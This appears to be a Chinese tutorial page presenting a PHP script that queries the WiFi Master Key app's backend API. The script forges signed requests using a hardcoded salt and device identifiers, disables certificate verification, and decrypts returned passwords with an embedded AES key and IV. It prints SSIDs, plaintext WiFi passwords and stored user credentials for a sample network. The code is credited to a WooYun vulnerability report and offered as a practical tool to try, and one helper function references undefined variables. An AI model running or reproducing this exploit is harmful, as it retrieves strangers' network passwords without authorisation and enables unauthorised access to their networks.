您好,登錄后才能下訂單哦!
本篇內容主要講解“如何編寫WIFI萬能鑰匙密碼查詢接口”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何編寫WIFI萬能鑰匙密碼查詢接口”吧!
<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268 $bssid = "c8:3a:35:fa:b8:80" ; $ssid = "Podinns2F03" ; if (isset( $bssid ) && isset( $ssid )){ //update salt $ret = request( $bssid , $ssid , md5(rand(1, 10000))); $ret = json_decode( $ret ); $ret = request( $bssid , $ssid , $ret ->retSn); $ret = json_decode( $ret ); if ( $ret ->retCd == 0){ if ( $ret ->qryapwd->retCd == 0){ $list = $ret ->qryapwd->psws; foreach ( $list as $wifi ){ echo 'SSID: ' . $wifi ->ssid. "\n" ; echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ; echo 'BSSID: ' . $wifi ->bssid. "\n" ; if ( $wifi ->xUser){ echo 'xUser: ' . $wifi ->xUser. "\n" ; echo 'xPwd: ' . $wifi ->xPwd. "\n" ; } } } else { echo $ret ->qryapwd->retMsg; } } } function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){ $data = array (); $data [ 'appid' ] = '0008' ; $data [ 'bssid' ] = $bssid ; $data [ 'chanid' ] = 'gw' ; $data [ 'dhid' ] = $dhid ; $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; $data [ 'lang' ] = 'cn' ; $data [ 'mac' ] = '60f81dad28de' ; $data [ 'method' ] = 'getDeepSecChkSwitch' ; $data [ 'pid' ] = 'qryapwd:commonswitch' ; $data [ 'ssid' ] = $ssid ; $data [ 'st' ] = 'm' ; $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; $data [ 'v' ] = '324' ; $data [ 'sign' ] = sign( $data , $salt ); $curl = curl_init(); curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' ); curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' ); curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true); curl_setopt( $curl , CURLOPT_POST, true); // enable posting curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload $r = curl_exec( $curl ); curl_close( $curl ); return $r ; } function registerNewDevice(){ $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ; $data = array (); $data [ 'appid' ] = '0008' ; $data [ 'bssid' ] = $bssid ; $data [ 'chanid' ] = 'gw' ; $data [ 'dhid' ] = $dhid ; $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; $data [ 'lang' ] = 'cn' ; $data [ 'mac' ] = '60f81dad28de' ; $data [ 'method' ] = 'getDeepSecChkSwitch' ; $data [ 'pid' ] = 'qryapwd:commonswitch' ; $data [ 'ssid' ] = $ssid ; $data [ 'st' ] = 'm' ; $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; $data [ 'v' ] = '324' ; $data [ 'sign' ] = sign( $data , $salt ); } function sign( $array , $salt ){ // 簽名算法 $request_str = '' ; // 對應apk中的 Arrays.sort 數組排序,測試PHP需用 ksort ksort( $array ); foreach ( $array as $key => $value ) { $request_str .= $value ; } $sign = md5( $request_str . $salt ); return strtoupper ( $sign ); } function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){ //Wi-Fi萬能鑰匙密碼采用 AES/CBC/NoPadding 方式加密 //[length][password][timestamp] $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv ); return substr (trim( $decrypted_string ),3,-13); } ?>
到此,相信大家對“如何編寫WIFI萬能鑰匙密碼查詢接口”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。